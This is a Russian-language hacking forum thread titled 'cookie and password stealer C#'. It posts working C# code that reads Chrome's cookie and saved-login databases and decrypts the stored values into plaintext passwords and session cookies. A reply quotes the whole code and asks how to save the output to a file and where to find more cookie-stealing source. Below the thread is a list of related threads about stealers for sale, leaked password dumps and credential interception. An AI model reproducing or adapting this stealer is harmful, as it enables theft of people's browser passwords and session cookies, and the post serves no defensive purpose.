Стиллер куков и паролей c#

R

Riddle

Original poster
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
   
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath); 

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
             

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
         

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
 
  • Like
Реакции: Kpa6
Y

YoungCoder

Original poster
Нашел гдет на просторах нета, немного переделал:
Код:
 static public IEnumerable<Tuple<string, string, string>> ReadCookies()
        {
  
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find cookie store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT name,encrypted_value,host_key FROM cookies";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[1];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2), reader.GetString(0), plainText);

                    }

                }

                conn.Close();
            }
        }




        static public IEnumerable<Tuple<string, string, string>> ReadPass()
        {
            var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data";
            if (!System.IO.File.Exists(dbPath)) throw new System.IO.FileNotFoundException("Cant find Login Data store", dbPath);

            var connectionString = "Data Source=" + dbPath + ";pooling=false";

            using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
            using (var cmd = conn.CreateCommand())
            {
            

                cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

                conn.Open();
                using (var reader = cmd.ExecuteReader())
                {
                    while (reader.Read())
                    {
                        var encryptedData = (byte[])reader[0];

                        var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
                        var plainText = Encoding.ASCII.GetString(decodedData);

                        yield return Tuple.Create(reader.GetString(2),reader.GetString(1), plainText);

                    }

                }

                conn.Close();
            }
        }

Вызвать можно так :
Код:
var cook = ReadCookies();
            foreach (var item in cook)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
            Console.WriteLine();
        

            var pas = ReadPass();
            foreach (var item in pas)
                Console.WriteLine("{0}  |  {1} : {2}", item.Item1, item.Item2, item.Item3);
А как в файл записать? А есть ещё с куками сорсы?
 
Название темы
Автор Заголовок Раздел Ответы Дата
L Интересно Java - Стиллер паролей в Minecraft моде Другие ЯП 8
M Склейка любого exe (РАТНИК, Стиллер) с docx (WORD) Продажа софта 2
K ⚡⚡⚡ Стиллер + Админ Панель |500 РУБ|⚡⚡⚡ Продажа софта 9
S Стиллер всякого на VBS Другие ЯП 1
J Стиллер паролей с отправкой по почте. Вирусология 5
A Стиллер + Админ Панель (Читай описание) Pro Продажа софта 9
L Стиллер Mystery, многофункциональный и с выдержкой на любые нагрузки Продажа софта 30
A Стиллер паролей для Chrome и Firefox Уязвимости и взлом 0
M [USB]Стиллер или флешка ВОР) Софт для работы с текстом/Другой софт 40
balof почт и паролей 895к Раздача (аккаунтов/ключей) 3
F Собираю команду для брута паролей. Бруты/Парсеры/Чекеры 0
P Качественный подбор паролей (vk.comOk.ru,WhatsApp.Viber) от [email protected] Взлом сайта, взлом форума - на заказ! Хотите узнать с кем обща Корзина 0
Anorali Интересно Написание стиллера паролей от wifi WiFi/Wardriving/Bluejacking 24
ㅤ ㅤㅤㅤ Взломщик андроид паролей. Продажа софта 2
E Интересно Ненадёжность хранения паролей TeamViewer Уязвимости и взлом 0
Little_Prince Пак паролей для расшифровки дампов Другое 6
B AZORult стиллер + HVNC Bot, stealer - Мощный стиллер паролей, CC и криптовалют Корзина 2
M NordPass - менеджер паролей от NordVPN Полезные статьи 0
V 13 миллиардов почт и паролей пользователей Полезные статьи 11
M База логинов и паролей Online Уязвимости и взлом 4
Ж Генератор паролей C++ С/C++ 0
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
T [Асгард — С первых рук] Самодельный апаратный менеджер паролей Полезные статьи 0
1 Wi-Fi точка для перехвата паролей Kali Linux 4
R 16,5 гб паролей для взлома wifi Kali Linux 2
K Сборник программ для взлома паролей различных зашифрованных файлов запароленных архивов Другое 1
K [Pluralsight] Хакинг веб-приложений: взлом функционала по восстановлению паролей Другое 0
G Seth - MITM атака, перехват RDP паролей. Kali Linux 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2 Уязвимости и взлом 0
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
G Слив более 2 миллионов логинов и паролей от E-mail Раздача email 10
H Огромная база паролей от аккаунтов социальных сетей. Полезные статьи 3
K Использование Burp Suite в сценариях человек-посередине (MitM): сбор информации, перехват паролей, заражение бэкдорами Уязвимости и взлом 0
K Извлечение всех паролей (веб-браузеры, почтовые программы и пр.) в Windows и Linux Уязвимости и взлом 3
K Взлом паролей MS Office, PDF, 7-Zip, RAR, TrueCrypt, Bitcoin/Litecoin wallet.dat, htpasswd в oclHashcat Уязвимости и взлом 0
G Дешифровщик FTP паролей. Софт для работы с текстом/Другой софт 0
G ☠️1,4 млрд логинов и паролей Другое 0
S Перехват куки и паролей СИ/Фишинг/Мошенничество 0
S Кража паролей: как наши учетки уводят через npm-пакет Уязвимости и взлом 0
S Опубликована база данных, включающая 320 млн уникальных хешей паролей Новости в сети 0
I Программы для создания словарей паролей Уязвимости и взлом 0
I Делаем из старенького ноутбука мега скоростной взломщик паролей Полезные статьи 36
A Простенький генератор паролей C# С/C++ 1
T Сайты с онлайн подбором паролей к WI-FI WiFi/Wardriving/Bluejacking 3
T Программа для перебора паролей на CPU + GPU под windows (Elcomsoft Wireless Security Auditor) WiFi/Wardriving/Bluejacking 4
D Список паролей для Брута (БОЛЬШОЙ) Другое 16
K Скиньте плиз пару словарей паролей Вопросы и интересы 1

Название темы